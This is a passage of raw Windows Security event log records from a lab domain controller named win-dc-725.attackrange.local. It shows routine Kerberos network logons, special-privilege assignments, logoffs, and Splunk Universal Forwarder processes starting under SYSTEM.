Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51123 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256017 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B4E5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256016 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39B493 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256015 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B493 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256014 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39B242 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51122 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256013 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B242 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256012 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39B134 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51121 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256011 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B134 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256010 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256025 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1310 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256024 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256026 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256027 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:52:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256029 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39B64B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256032 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39E1A2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:52:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256031 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39E1A2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51134 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:52:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256030 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39E1A2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:53:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256033 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256036 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256037 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:53:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation 